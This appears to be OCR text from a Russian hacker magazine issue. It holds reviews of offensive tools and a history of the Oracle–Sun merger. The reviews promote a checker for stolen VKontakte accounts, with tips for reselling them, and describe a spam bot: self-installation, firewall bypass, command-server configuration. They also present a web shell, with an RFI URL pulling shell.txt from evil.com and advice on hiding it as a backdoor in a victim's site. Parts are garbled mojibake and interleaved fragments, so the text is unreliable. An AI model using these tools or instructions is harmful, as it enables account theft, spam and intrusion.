ПРОГРАММА: VKCHECKER LITE 0.2
ОС: WINDIWS 95/98/ME/2000/2003/
XP/VISTA
АВТОР: DX
Сколько уже написано разнообразных чекеров 
«ВКонтакта» — не перечесть! Вот и на этот раз 
представляем тебе очередную программу для 
работы с аккаунтами общеизвестной социаль-
ной сети — VKChecker Lite за авторством dx.
Функционал программы:
- написана на ассемблере (отсюда размер exe — 
36.5 кб в незапакованном виде);
• простой чек аккаунтов на валид-невалид;
• чек аккаунтов с определением ID;
• поддержка сервиса антикапча;
• поддержка прокси, сокс5 (опционально и 
можно их не задавать);
• многопоточность;
• задание задержек для потоков;
• определение баланса антикапчи;
• отсылка жалоб о неправильно распознанных акках;
• возможность задать разделители для аккаун-
тов, прокси, результата;

• лог работы;
• возможность создавать подробный HTML-
отчет, куда записываются логин, пароль, ID, 
количество друзей и голосов, рейтинг аккаунта;
• возможность записывать туда же список групп, 
в которых пользователь имеет права админист-
ратора или модератора;
• сбор ID-приложений, которыми владеет 
человек;
• возможность сохранения плохих аккаунтов в 
отдельный файл;
• возможность сбора аккаунтов по критериям 
рейтинга/количества друзей/числа голосов, 
отбор нужных аккаунтов в отдельный список;
• чек аккаунтов и разбивка их на группы по 
количеству друзей;
• подробная статистика для собранных по крите-
риям аккаунтов;
• сохранение и загрузка текущих настроек 
программы;
Возможности столь маленькой утилиты, напи-
санной на ассемблере, впечатляют :).
Пользоваться чекером не просто, а очень 
просто: вбивай в левое окошко список аккаунтов 
социальной сети (по умолчанию логин и пароль 
разделены двоеточием) и дави на кнопку 
«Старт». В окошке «Good» будут появляться 
отчеканные валидные учетки пользователей.
Также советую разобраться с настройками и 
фичами проги: окошки «Опции», «Настройки 
критериев» и вкладка «Дополнительно» — здесь 
есть где разгуляться пытливому хакеру :).
И напоследок — небольшое пособие-пример от 
автора для тех, кто продает аккаунты «ВКонтак-
та», ориентируясь на число друзей:
1. Включаем проверку по критериям;
2. Ставим критерий «число друзей» больше, 
например, 10;
3. Ставим опцию установки чекера на паузу 
после сбора, например, 20000 друзей.
Теперь чекер будет приостановлен, и ты смо-
жешь забрать начеканные аккаунты с суммой 
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друзей 20000, потом обнуляй статистику, очи-
щай список собранных аккаунтов и продолжай 
собирать следующую пачку аккаунтов с суммой 
друзей 20000.

ПРОГРАММА:  СПАМ БОТ
ОС: WINDIWS 95/98/ME/2000/2003/
XP/VISTA ДЛЯ БОТА И БИЛДЕРА, 
*NIX/WIN ДЛЯ АДМИНКИ
АВТОР:  SLESH
Представляем твоему вниманию очередную 
программу, написанную на ассемблере — Спам 
бот от slesh'а. На диске ты найдешь архив с ад-
минкой бота, исходники бота FASM и исходники 
билдера на Delphi. Описывать, как внедрить бота 
в чужую систему — уже не моя задача, поэтому 
представляю тебе описание функционала и 
принципы действия бота.
Скомпилированный бот действует следующим 
образом:
1. Бот расшифровывается;
2. Бот получает адреса API-функций, которые 
он юзает;
3. Бот проверяет наличие того, что он уже запу-
щен, и если так, то самовыключается;
4. Устанавливает себя в систему в папку шаб-
лонов и прописывается в автозагрузке;
5. Выделяет память для своих нужд;
6. Прописывает себя в реестре для обхода 
встроенного в XP файрвола;
7. Стучится в админку;
8. Если получена команда ждать, ждет указан-
ное время;
9. Если получено задание, то парсит его и 
запускает указанное количество потоков 
отправки письма;
10. Перед каждой отправкой письма обрабаты-
вает макросы в нем;
11. Отсылает письма, пока они есть в задании;
12. Во время выполнения задания периодичес-
ки стучит в админку с результатами отправки.
Теперь о возможностях бота:
• обход встроенного в XP файрвола;
• криптовка (если юзать билдер);
• многопоточная отправка;
• поддержка макросов на уровне админки и 
бота;
• лог ошибок отправки;
• самоустановка в систему;
• возможность бана плохих ботов;
• шифрование трафа между ботом и админкой.
Для установки бота сначала необходимо скон-
фигурировать админку (файл config.php):

<?php

$db_host='localhost'; // õîñò ñ áä

$db_port=3306; // ïîðò áä

$db_user='root'; // þçåð áä

$db_pass='pass'; // ïàññ îò áä

$db_name='sbot'; // èìÿ áàçû â áä 

(íóæíî ñîçäàòü ñàìîìó)

$admin_name=''; // èìÿ ïîëüçîâàòåëÿ 

äëÿ äîñòóïà ê àäìèíêå

$admin_pass=''; // ïàðîëü äëÿ äîñòó-

ïà ê àäìèíêå

$TIME_LIM='00:01:00'; // 

(÷àñû:ìèíóòû:ñåêóíäû) åñëè âðåìÿ 

ïîñëåäíåãî îòñòóêà áîëüøå äàííîãî, 

только по кейворду, который жестко прописан 
в его коде, то есть так: http://site.com/index.
php?path=http://evil.com/shell.txt&keyword 
(дальше кейворд спрячется в пост-запрос 
и его будет невидно; кейворд можно сразу 
послать в пост).
2. Ты внутри сайта. Левые файлы заливать 
нельзя или палевно. Что делать?
Просто скопируй весь код шелла в какой-либо 
существующий файл на удаленной системе и на-
слаждайся скрытым бэкдором на сайте жертвы 
по адресу вроде: http://site.com/?keyword.
Из особенностей шелла:
• независимость от путей/адресов сайта (то есть 
инклуд вроде http://site.com/?keyword&foo1=
bar1&foo2=bar2 пройдет без потери парамет-
ров foo1 и foo2);
• шелл открывается только после передачи ему 
заранее определенного тобой кейворда;
• basic-авторизация (на cgi/fastcgi автоматичес-
ки отключается);
• все данные передаются в $_POST;
• файловый менеджер с отображением подроб-
ной информации о файлах;
• отображение основной информации о системе;
• php eval/command execution;
• загрузка множества файлов за раз на js;
• просмотр/редактирование/удаление файлов и 
директорий (удаление рекурсивно);
• можно спокойно скачивать файлы очень боль-
ших размеров (например, логи апача);
• zip/unzip файлов и директорий;
• разбивка листинга файлов и директорий на 
страницы;
• если шелл инклудится в существующий скрипт, 
тебе может пригодиться встроенная защита 
от взлома: отсекаются запросы по ключевым 
словам вроде eval, base64, union и т.д.
Все это великолепие весит всего 38,1 Кб.
Теперь рассмотрим настройку шелла. Открывай 
скрипт и находи в его начале следующие 
строки:

<?php

...

$my_keyw = 'keyword'; //òâîé êåéâîðä 

äëÿ äîñòóïà â øåëë

$items_per_page = 50; //êîëè÷åñòâî 

ôàéëîâ/äèðåêòîðèé íà îäíîé ñòðàíèöå 

øåëëà

$admin_name='admin'; //èìÿ àäìèíà â 

basic-àâòîðèçàöèè

$admin_pass='password'; //ïàðîëü 

àäìèíà â basic-àâòîðèçàöèè

...

?>

Все предложения и пожелания по скрипту 
направляй мне в асю :). z

òî ñ÷èòàåòñÿ, ÷òî áîò óøåë â îôëàéí

$max_thread=5; // ÷èñëî ïîòîêîâ äëÿ 

ñïàìà

$block='on'; // áëîêèðîâêà ìåðòâûõ 

áîòîâ

?>

Затем — настроить, собственно, бота и его 
билдер:

ôàéë: bot.asm:

WAIT_TIME equ 40 — âðåìÿ â ñåêóíäàõ 

ìåæäó îòñòóêàìè

server_port equ 5000h — ïîðò àäìèíêè

ôàéë: const.inc:

server_script db '/msb/task.

php?',0,0,0,0,0,0,0,0 — ïóòü ê àä-

ìèíêå

server_host db 'localhost',0,0,0,0,0

,0,0,0,0,0,0,0,0 — host àäìèíêè 

my_sys_name db '\proga.

exe',0,0,0,0,0,0,0,0,0,0 ; (ñëåø 

îáÿçàòåëåí!) — èìÿ, ñ êîòîðûì ïðîãà 

áóäåò ñèäåòü â ñèñòåìå

MemFileName db 'test123',0 — ïðåäî-

òâðàùåíèå ïîâòîðíîãî çàïóñêà

После этой нехитрой настройки тебе нужно 
будет:
1. Залить админку на свой сервер и на все 
скрипты и папки поставить права 666;
2. Войти в админку (index.php) и выбрать пункт 
меню — INSTALL;
3. Настроить бота на получение заданий.
На этом настройка бота будет закончена, можно 
приступать к составлению спам-тасков).
Подробнее о макросах и прочем функционале 
админки бота читай на Античате: http://forum.
antichat.ru/thread104291.html.

ПРОГРАММА: MAGIC INCLUDE SHELL 
3.3.3
ОС: *NIX/WIN 
АВТОР: МАГ
Не могу не порадовать читателей z и своим 
релизом веб-шелла :). Итак, Magic Include Shell, 
как видно из названия, предназначен для 
работы в инклудах. Рассмотрим ситуации, когда 
понадобится такой шелл:
1. Имеем RFI, что-то вроде http://site.com/index.
php?path=http://evil.com/shell.txt.
Что делать, если не работает safe mode, либо 
использование консольных команд по какой-
то причине не дает нужного эффекта? Очень 
просто! Инклудь мой шелл и наслаждайся 
полноценным файловым менеджером на уда-
ленной системе, который не будет зависеть от 
внутренних путей и адреса сайта. Тут стоит от-
метить особенность скрипта: шелл откроется 

Админка спамбота 000000
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Âåðøèíà 
ïèùåâîé 
öåïè
Oracle, Sun è âñå, âñå, âñå

ÏÐÀÊÒÈ×ÅÑÊÈ ÂÑÅ ÊÎÌÏÀÍÈÈ-ÃÈÃÀÍÒÛ 
ÐÛÍÊÀ IT ÄÅËÀÞÒ ÝÒÎ — ÎÍÈ ÏÎÊÓÏÀÞÒ 
ÈÍÒÅÐÅÑÍÛÅ ÏÐÎÅÊÒÛ, «ÏÎÐÀÁÎÙÀÞÒ» 
ÝÊÑ-ÊÎÍÊÓÐÅÍÒÎÂ, ÏÐÅÂÐÀÙÀß ÈÕ Â ÑÂÎÈ 
ÏÎÄÐÀÇÄÅËÅÍÈß, ÏÎÄÏÈÑÛÂÀÞÒ ÄÎÃÎÂÎÐÛ 
Î ÑËÈßÍÈßÕ È ÒÀÊ ÄÀËÅÅ. ÎÄÍÀÊÎ ÑÈÒÓÀÖÈÈ, 
Â ÕÎÄÅ ÊÎÒÎÐÛÕ ÎÄÈÍ ÄÈÍÎÇÀÂÐ ÐÛÍÊÀ 
ÏÎÃËÎÙÀÅÒ ÄÐÓÃÎÃÎ, ÂÎÇÍÈÊÀÞÒ ÍÅ ÒÀÊ 
×ÀÑÒÎ. ÐÅ×Ü, ÊÎÍÅ×ÍÎ, ÈÄÅÒ Î ÑÄÅËÊÅ, Â 
ÐÅÇÓËÜÒÀÒÅ ÊÎÒÎÐÎÉ ÊÎÌÏÀÍÈß SUN MICRO-
SYSTEMS ÂÎÒ-ÂÎÒ ÎÒÎÉÄÅÒ Â ÐÓÊÈ ÊÎÌÏÀÍÈÈ 
ORACLE. ÒÀÊÎÉ ÏÐÅÖÅÄÅÍÒ ÎÏÐÅÄÅËÅÍÍÎ 
ÄÎÑÒÎÈÍ ÂÍÈÌÀÍÈß.
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SUN MICROSYSTEMS INC.
О компании Sun мы уже писали неоднократно. 
В предыдущих номерах ты можешь найти и под-
робную историю Sun и кучу самой разной инфы 
о ее продуктах (в том числе и о взломе оных), а 
также почитать биографии ключевых лиц.   
Такое внимание к Sun с нашей стороны совсем 
не удивительно, все же они были одними из пер-
вопроходцев рынка и по совместительству много 
лет оставались  одним из его флагманов. 
Впрочем, если ты не хочешь искать старые но-
мера или не имеешь такой возможности, краткую 
«историческую справку» я все же приведу:
Sun Microsystems была основана в 1982 году, и 
руки к ее зарождению приложили известный 
венчурный инвестор Винод Хосла и програм-
мисты Энди Бехтольшейм и Скотт Макнили. Чуть 
позже к этой троице присоединился еще один 
прогер — Билл Джой. 
Аббревиатура SUN произошла от названия 
Stanford University Network («Сеть Стенфордско-
го Университета») — проекта, которым зани-
мались Бехтольшейм и Макнили, как нетрудно 
догадаться, будучи выпускниками Стенфордско-
го университета :).
На рынок чуваки пришли, имея большие 
планы и будучи полны идей. Все началось еще 
с упомянутого университетского проекта, в ходе 
реализации которого им потребовались машины 
для CAD/CAM-приложений, и Бехтольшейм 
спроектировал для этих целей первую рабочую 
станцию Sun — Sun 1. Станция так удалась, что 
наших героев посетила мысль, что из всего этого 
может получиться бизнес, ведь все то же самое 
можно делать и на продажу. 
В то время мало кто помышлял о собственном, 

персональном компьютере — в большинстве своем 
люди работали на микрокомпьютерах по очереди, 
или же в режиме разделения времени. В таких 
условиях предложить пользователям сравни-
тельно недорогие и мощные рабочие станции с 
поддержкой сети (девайсы несли в себе Ethernet-
адаптер, поддерживающий TCP/IP,  позволявший 
использовать распределенные вычисления) 
виделось очень неплохой идеей. 
И хотя этот сегмент рынка уже отнюдь не был пуст 
— здесь присутствовали и Apple и IBM, и HP и 
Apollo со своими рабочими станциями, и многие 
другие, это основателей Sun не остановило. 
В целях борьбы с конкуренцией они решили 
базировать свои станции только на промышлен-
ных компонентах, а также бесплатном и открытом 
Unix, усовершенствованном лично Биллом Джо-
ем (коий является одним из «отцов» BSD UNIX. 
В общем-то, из-за Unix Джой и попал в команду 
Sun). Как выяснилось, они не прогадали.
Практически с самого основания компании 
лозунгом, теглайном и бессменным девизом Sun 
стала фраза «Сеть — это компьютер!». То есть, 
по мнению спецов Sun Microsystems: «Настоя-
щим компьютером может считаться только сеть 
компьютеров». Поспорить с этим утверждением 
сложно, достаточно представить, что у тебя нет 
интернета и проникнуться, мыслью как это было 
бы ужасно :). 
Однако в те годы все было далеко не так просто. 
Прогресс еще только начинал свое шествие в 
массы, о сетях человечество только начинало 
предметно задумываться, и девиз по тем време-
нам казался фактически революционным. 
Но, как ни странно, упомянутые массы не имели 
ничего против небольшой революции. «Сете-

вая» политика молодой фирмы пришлась рынку 
очень кстати, уже на второй год существования 
компании она принесла Sun контракт на 40 
миллионов долларов с Computervision — основ-
ным поставщиком CAD-систем того времени. 
Контракт, кстати, был уведен прямо из-под носа  
главного конкурента — Apollo. 
Немногим позже на свет появилась технология 
Network File System (NFS), которая еще больше 
укрепила фундамент будущего гиганта (и кото-
рую, кстати, продолжают юзать по сей день). 
Мультиплатформенная NFS (она работала под 
MS DOS, IBM DOS, Mac’ом, VMS и никсами) 
позволяла юзерам получить доступ к ресурсам 
других, удаленных машин в сети. Самое инте-
ресное — NFS была открытой, за лицензию на 
получение исходного кода Sun просили совсем 
немного. Таким образом, в Sun смогли не только 
заработать на NFS сами, но и сделали техноло-
гию общедоступной, а также смогли развивать ее 
не только своими силами, но и силами конкурен-
тов и простых, сторонних разработчиков. Ход, 
конечно, рискованный, но, цитируя Билла Джоя: 
«Создать рынок — значит владеть им!».  
Похожие схемы компания впоследствии реали-
зовывала неоднократно и практически всегда 
успешно.

ORACLE CORPORATION
А теперь пришло время поговорить о за-
рождении Oracle, которая еще старше Sun 
Microsystems. 
Основали Oracle в 1977 году, и исходно фирма 
носила неприметное имя Software Development 
Laboratories. На самом деле, перед тем как 
обрести знакомое нам имя, компания успела 
пережить целый ряд метаморфоз: так, в 1979 
название изменилось на Relational Software Inc, 
в 1982 — на Oracle Systems (в честь флагманского 
продукта компании: Oracle database) и, наконец, 
пару лет спустя, миру явился великий и ужасный 
Oracle Corporation. 
Основали будущего гиганта в области разработ-
ки систем управления базами данных три чело-
века — Эд Оутс, Боб Майнер и Ларри Эллисон. 
Пожалуй, можно сказать, что в судьбе Oracle 
наиболее важную роль сыграл последний из 
перечисленной троицы — Ларри Эллисон, ведь 
именно его всегда называли мозгом компании. 
Поэтому о нем я расскажу подробнее.
В детстве и юношестве Эллисона решительно 
ничто не предрекало, что он станет одним из 
богатейших людей на планете. Дело в том, 
что Ларри — сын 19-летней иммигрантки из 
Одессы, он родился в Бронксе, и в младенческом 
возрасте был оставлен матерью на попечение ее 
дяди и тети (которые впоследствии и стали его 
приемными родителями). 
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Он никогда не знал даже имени 
своего биологического отца, а до 
48 лет не знал и своей настоящей 
матери. Его приемный отец угодил в 
тюрьму, когда Эллисону было всего 
18, а приемная мать умерла и того 
раньше. 
В то же время Эллисону пришлось 
оставить второй курс университета 
(University of Illinois at Urbana-
Champaign). Причина была баналь-
на — из-за всех свалившихся на 
него перипетий Эллисон завалил 
экзамены. 
Ища лучшей жизни, свободный как 
ветер и еще совсем молодой Ларри 
решил податься в северную Кали-
форнию к другу, где и осел, попутно 
снова поступив в университет (на 
этот раз в университет Чикаго). Там 
Ларри занялся программировани-
ем, а также нашел работу, устроив-
шись в компанию Ampex. 
Забавно, но по какой-то прихоти 
вселенной Ampex Corp, основанная 
в конце Второй мировой, тоже дело 
рук русского иммигранта — пол-
ковника царской армии, инженера 
и предпринимателя Александра 

Матвеевича Понятова. Название 
Ampex как раз происходит от его 
инициалов и титула: обращение 
«Ваше Превосходительство» по-
английски — excellence. AMPex = 
A.M.Poniatoff EXcellence. 
Компания в целом и Понятов в 
част ности известны, например, 
тем, что именно благодаря им были 
изобретены и увидели свет такие 
замечательные во всех отношениях 
девайсы, как катушечный аудио-
магнитофон и видеомагнитофон. 
Многие лидеры рынка видеотехно-
логий — Sony, JVC, Toshiba, Phillips и 
т. д. — долгие годы работали именно 
по патентам Понятова. Словом, 
про Ampex и ее основателя можно 
рассказывать еще долго, но так как 
речь сейчас не о них, ограничусь 
лишь тем, что замечу — Эллисон по-
лучил должность в очень интерес-
ном и перспективном месте. Один 
из проектов, над которым Ларри 
работал в Ampex Corporation, ока-
зался связан с созданием БД для 
ребят из ЦРУ. По сути, для Эллисона 
это вылилось в написание первой 

в жизни серьезной программы и 
первой большой базы данных, и он 
справился. Получившемуся детищу 
Эллисон дал имя Oracle.
О том, что было дальше, ты 
уже знаешь — вдохновленный 
процессом программирования 
и рядом публикаций в прессе (в 
частности, статьей в IBM Journal 
of Research and Development о 
системах управления реляцион-
ными БД), Эллисон видит в этом 
хорошие перспективы для бизнеса 
и решает поставить написание 
софта на коммерческую основу, 
открыв собственную фирму. Его 
партнерами по бизнесу и соучре-
дителями становятся коллеги по 
Ampex и проекту Oracle — Роберт 
Майнер и Эд Оутс.  Стоит отметить, 
что стартовый капитал Эллисон 
выложил из своего кармана, 
«инвестировав» в собственные 
начинания $1400.

ÊÒÎ ÊÎÃÎ «ÑÚÅË»
Вернемся к тому, с чего началась эта 
статья — к грядущему слиянию двух 
гигантов. 

Оказали ли Sun и Oracle влияние 
на рынок? Безусловно. Более того, 
они продолжают влиять на него и 
сейчас. Еврокомиссия недаром 
медлит с решением уже более по-
лугода, рассматривая их грядущую 
сделку со всех возможных сторон. 
После завершения слияния, в руках 
Oracle окажутся все разработки Sun 
в области «железа», фактическая 
монополия на технологию Java, 
плюс их собственные достижения 
на поприще систем управления 
базами данных.Но, как уже было 
сказано в начале — бизнес есть 
бизнес, и когда речь идет о высшей 
лиге, здесь не обойтись и без 
длинной истории сделок по покупке 
перспективных стартапов, агони-
зирующих конкурентов и так далее. 
Кого же покупали Oracle и Sun, кого 
поглощали, наращивая мощь и как 
стали тем, чем стали? 

SUN
История Sun развивалась стреми-
тельно. Рабочие станции прода-
вались хорошо, и когда компании 

понадобились большие мощности 
(в частности, Sun более не устраи-
вали процессоры от Motorola), было 
решено разработать собственный 
проц — возможности для этого име-
лись.  Так появился 32-разрядный 
микропроцессор SPARC, созданный 
на базе переработанной RISC-ар-
хитектуры. Он положил начало еще 
одной ветви бизнеса Sun — «желез-
ной». И здесь Sun снова пошла по 
проверенному пути — архитектура 
SPARC была открытой, приобрести 
лицензию на ее использование 
легко мог (и по сей день может) 
любой желающий. В то же время, 
в конце 80-х годов, Sun начала 
покупать другие компании, фирмы и 
фирмочки. Одним из первых приоб-
ретений, например, стала Centram 
Systems West, купленная в 1987. 
Компания занималась разработкой 
сетевого софта для ПК, «Маков» и 
систем Sun. В том же году была при-
обретена еще и Trancept Systems, 
разрабатывавшая ускорители 
изображений и видео для рабочих 
станций. Но все же, не рабочими 
станциями едиными... Наступили 

90-е, и Sun Microsystems потихонь-
ку принялась меняться. Если до 
этого ее основным продуктом были 
упомянутые воркстейшоны, то те-
перь пришла пора уделить больше 
внимания софту для них и заняться 
дальнейшим развитием собствен-
ных «железок».
В 1991, выкупив у Eastman 
Kodak фирму Interactive Systems 
Corporation, Sun какое-то время 
выпускали девайсы с их Interactive 
UNIX (порт операционной системы 
UNIX System V на процессоры Intel 
x86) на борту. К концу 90-х, когда у 
Sun появился свой Solaris ОС, инте-
рес к Interactive UNIX они утратили.
В 1994 и 1996 годах Sun покупает 
сначала «железную», а потом 
и софт верную часть компании 
Thinking Machines — разработчика 
высокопроизводительных машин. 
Интересно, что остатки компа-
нии, которая еще какое-то время 
продолжала работать, занимаясь 
исключительно дата майнингом, в 
1999 году выкупит Oracle. 
В том же 1996 к Sun перешла и часть 

компании Cray. История у этой сдел-
ки забавная — известный произво-
дитель серверов high-end класса 
Cray строил свои машины на честно 
купленных у Sun технологиях, но 
любые предложения о слиянии с 
Sun отвергал. Однако, в итоге, Cray 
поглотила великая и ужасная Silicon 
Graphics, и, не желая работать с 
чужими платформами, принялась 
избавляться от лишнего балласта. 
В Sun были только рады «забрать» у 
SGI ненужные ей подразделения. 
Благодаря этой сделке, «солнеч-
ные» дали старт проекту «Starfire», 
из которого позже выросло 
пополнение в линейке UNIX-серве-
ров — многопроцессорный монстр 
Ultra Enterprise 10000. Такими во 
времена бума доткомов, например, 
пользовался eBay. Цена полностью 
сконфигурированного девайса лег-
ко достигала миллиона долларов. 
 «Свежей крови» в серверные 
дела добавила покупка компании 
Integrated Micro Products, специа-
лизировавшейся на отказоустойчи-
вые серваках.   
Как можно понять, дела у Sun и 
так шли более чем неплохо, а бум 
доткомов, имевший место в конце 
90-х, начале 2000-х годов только 
«усугубил» положение. Прибыли, 
выручки, цены на акции, все уве-
ренно шло вверх. Нужно сказать, 
что к этому моменту Sun подошел во 
всеоружии: в 1995 они явили миру 
платформу Java и все с ней сопря-
женное; успешно внедрили плат-
форму Open Network Computing; 
перешли на собственную ОС Solaris, 
сформировав подразделение 
SunSoft, занимавшееся развитием 
ОС и сопутствующего ПО; предла-
гали широкий спектр серверов и 
рабочих станций всех мастей.         
Ну, а когда все складывается как 
нельзя лучше, «время покупать»! 
Одним из удачнейших приобрете-
ний Sun в конце 90-х стала немец-
кая фирма StarDivision, разрабаты-
вавшая офисный пакет StarOffice. 
Все лицензированные части из 
пакета были удалены, после чего 
оставшуюся часть документации и 
кода полностью открыли. На базе 
этих исходников, например, возник 
проект OpenOffice.org, который 
Sun так же не обошла вниманием 
и поддержала. Плюс, конечно, 
корпоративным клиентам StarOffice 
продолжал и продолжает постав-
ляться, являясь проприетарным ПО.
Вот некоторые другие сделки конца 
90-х, начала 2000-х: 1997 — Chorus 
Systems, создатели ChorusOS.
1998 — i-Planet, небольшая софт-
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верная компания, написавшая 
e-mail клиент «Pony Espresso» для 
мобильников .  1998 — NetDynamics, 
создатели NetDynamics Application 
Server. 2000 — Cobalt Networks, про-
изводитель устройств для доступа в 
интернет. 2001 — LSC Inc., разработ-
чики Storage and Archive Management 
File System и Quick File System. 
Однако все рано или поздно конча-
ется, и «белая полоса» в истории Sun 
оборвалась, когда лопнул пузырь 
доткомов. Резкое падение выручек 
и падение цен на акции повлекло за 
собой многочисленные увольнения, 
сокращение производства и смену 
руководства компании. Перечис-
ленное, конечно, тоже не улучшило 
общей ситуации.  В это же время 
многие крупные компании стали 
отдавать предпочтение не дорогосто-
ящим серверам Sun, а более простым 
решениям, вроде серверов х86-архи-
тектуры ПК-класса, работающих под 
Линуксом. Конечно, их требовалось 
больше, но все равно выходило куда 
дешевле. Впоследствии Sun удалось 
немного исправить эту ситуацию — 
помогли новые процессоры, в част-
ности UltraSPARC T1, но возвраще-
ния к прежним временам все равно 
ждать уже не приходилось. В период 
медленного угасания, длившийся 
с начала 2000-х годов и до наших 
дней, Sun Microsystems, конечно, 
успела заключить еще множество 
сделок и «съела» десятки компаний, 
но упоминания достойна, пожалуй, 
лишь одна из них: в начале 2008 года 
агонизирующий, но не желающий 
сдаваться Sun приобрел MySQL 
AB — разработчиков и обладателей 
прав на open-source СУБД MySQL. 
Покупка обошлась Sun почти в мил-
лиард долларов и сулила хорошие 
перспективы, делая «солнечных» 
одними из крупнейших игроков на 
рынке open sorce. Но в конце 2008 
появились первые слухи о том, что 
сама Sun скоро будет продана. Вско-
ре эти слухи подтвердились.
        
ORACLE         
Oracle фактически стала одной 
из первых в истории компаний, 
которая начала продавать СУБД 

отдельно от «железа» — обычно эту 
роль на себя брали сами вендоры. 
В результате, продукты Oracle, 
быстро научившиеся работать с 
самыми разными платформами и 
комплектующими, произвели на 
рынке настоящий фурор. Самым из-
вестным продуктом компании была 
и остается непосредственно СУБД 
Oracle, с годами претерпевавшая 
различные метаморфозы. 
Так, Oracle v2 (пусть цифра 2 тебя не 
смущает, это была первая версия 
«Оракула»), вышедшая в 1979, 
была написана на ассемблере и 
стала первой коммерческой СУРБД 
на языке SQL — весь основной 
функционал SQL она реализовы-
вала. Стоит отдельно отметить, что 
Эллисон и сотоварищи «подсмот-
рели» все это у IBM, которая как 
раз работала над SLQ и БД, но не 
видела в этом особых коммер-
ческих перспектив и не боялась 
писать об этом статьи :). В итоге, 
Oracle опередили IBM с выпуском 
их СУБД System R, показав, что 
коммерческие перспективы у БД 
просто прекрасные — недостатка в 
покупателях не наблюдалось.
Oracle v3, в свою очередь, уже была 
написана, точнее, переписана на 
Си. Она научилась поддерживать 
транзакции и стала первой СУРБД, 
работающей на мейнфреймах, 
мини-компьютерах и ПК. Oracle 
вообще часто оказывался первым.   
Дальнейшие версии продолжили 
обрастать полезностями и необхо-
димостями, и если в 1980 году штат 
компании насчитывал всего 7 чело-
век, а годовой доход не превышал 
миллиона долларов, то уже в 1986 
году Oracle благополучно вышел на 
биржу, став публичной компанией с 
доходом в 55 миллионов. 
Вплоть до 90-х годов дела у Oracle 
шли хорошо и ровно, без каких-ли-
бо эксцессов, и возможно именно 
поэтому сотрудники излишне 
расслабились и упустили перелом-
ный момент. Oracle уже успел стать 
одним из лидеров на рынке ПО, но 
не заметил прихода сильных конку-
рентов и «пропустил удар».  
Главными «врагами» стали ком-

пании Sybase и Informix, битва с 
которыми длилась несколько лет.
Oracle тогда оказался на грани 
банкротства — продажи упали на 
80%, расходы превышали доходы, 
и это понесло за собой сокраще-
ния. Казалось, что еще немного и 
компания зачахнет совсем. Тогда 
Эллисон принял решение, обновить 
состав практически всего руководя-
щего звена, и это, о чудо, помогло. 
Выпуск новых БД, внимательность 
и аккуратность по отношению к 
маркетинговой политике — все это 
сумело спасти компанию. 
На руку Oracle сыграл и тот факт, что 
Sybase в 1993 осуществил слияние 
с компанией Powersoft, а права 
на свой софт под Windows продал 
Microsoft. Кстати, теперь их продукт 
известен под именем SQL Server :),
Конец конкуренции с Informix и 
вовсе положил случай. В 1997 
противостояние между компаниями 
не сходило с первых полос СМИ, и 
Informix как раз готовила очередной 
«ответный удар», когда ее директор  
Фил Уайт неожиданно попал в тюрь-
му. Потеряв своего лидера, Informix 
постепенно сдала позиции, а в 2000 
и вовсе была поглощена компанией 
IBM. Получив перерыв в пару лет, 
Oracle успела полностью встать на 
ноги, вернуть себе прежнюю мощь 
и подготовиться к выходу на рынок 
новых крупных конкурентов, в 
частности, Microsoft SQL Server.  До 
начала 2000-х годов Oracle, как ни 
странно, не стремился перекупать 
все, что плохо лежит. Зато с 2005 
года, начавшегося с приобретения 
компании PeopleSoft, в руки Oracle 
отошли десятки фирм (более 50, 
точную цифру назвать сложно). В 
основном Oracle приобретал сред-
них размеров компании, так или 
иначе связанные с производством 
БД — все, что могло пригодиться, 
покупалось, но в то же время Oracle 
не распылялся.  
Самой крупной сделкой в «пос-
лужном списке» Oracle на сегодня 
является, конечно, завершающееся 
поглощение Sun, аналогов которому 
по масштабности и цене в истории 
Oracle пока не было. 

  ÇÀÊËÞ×ÅÍÈÅ
Когда в 2008 были обнародованы 
печальные цифры статистики, 
согласно которым убытки Sun 
Microsystems исчислялись сотнями 
миллионов долларов, а количество 
уволенных сотрудников уже 
измерялось в тысячах, начались 
разговоры о скорой продаже компа-
нии. Их подтвердили сообщения в 
прессе, появившиеся в начале 2009 
года — слухи гласили, что компания 
IBM сделала Sun предложение, 
ценой 6.5 млрд. долларов. Однако, 
информация не подтвердилась, 
или же, согласно «проверенным 
источникам», Sun и IBM не сумели 
достигнуть консенсуса. Второе 
известие уже оказалось правди-
вее: в апреле 2009 Sun и Oracle 
официально объявили о своей 
сделке. Пресс-релизы гласили, что 
Oracle предложил $9.50 за акцию, то 
есть, в сумме раскошелился на $5.6 
миллиарда, а с учетом долгов Sun — 
на $7.4 миллиарда. Уже 16-го июля 
стало известно, что акционеры Sun 
дали «добро» на совершение сдел-
ки, но государственные инстанции 
так торопиться не собирались. 
Быстрее всех закончило свои 
проверки правительство США — оно 
одобрило сделку еще в августе. А 
вот Еврокомиссия должна была вы-
нести решение этой осенью, однако 
отодви нула срок на первый квартал 
2010 года. Пристальный интерес 
европейцев вызывает тот факт, что 
Sun владеет MySQL. Российская фе-
деральная антимонопольная служба 
тоже не торопится с вынесением 
вердикта. Повторюсь: колебания 
антимонопольщиков можно понять. 
Вместе Sun и Oracle составляют «иде-
альную пару». В одном месте сойдут-
ся практически полная монополия на 
Java, серьезные hardware-мощности, 
мощнейшая БД, укомплектованная 
опциями на все случаи жизни, Virtual 
box, Solaris ОС, MySQL и многое, 
многое другое. Как распорядится 
всем этим Oracle, от чего откажется, 
что продолжит развивать, а что адап-
тирует под себя, известно, пожалуй, 
только Ларри Эллисону. Но каждому 
ясно, что перспективы огромны.  z
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Í
е всегда удобно перезагружаться в 
другую операционную систему для 
выполнения действий по проверке 
файловых систем, восстановления 
файлов, изменения размера разделов 

и выполнения других операций с данными. 
Представь, что уже несколько лет на твоем 
компе установлено две операционные системы: 
Windows и Linux. Первую ты загружаешь очень 
редко и только в экстренных случаях, второй 
пользуешься ежедневно и уже подумываешь о 
полном переходе на Linux и удалении винды, 
вот только NTFS-раздел, хранящий годами на-
капливаемые данные, перевести в ext3 нельзя 
никакими инструментами. Приходится держать 
две операционки, потому что хоть NTFS-раздел 
и доступен из Linux (с помощью ntfs-3g), для 
решения проблем файловой системы все равно 
придется перезагружаться в Windows.
А если накрылась файловая система FAT на 
Flash-накопителе? Опять перезагружаться 
в Windows? Или ты случайно удалил файл в 
файловой системе UFS, принадлежащей рядом 
установленной FreeBSD? Может быть, ты сис-
темный администратор, и диска для восстанов-
ления Windows в нужный момент не оказалось 
под рукой? Отвечу на все вопросы сразу: почти 
все действия по возвращению из небытия фай-
ловых систем FAT, NTFS, UFS, восстановлению 
хранящихся в них файлов, диагностике и много-

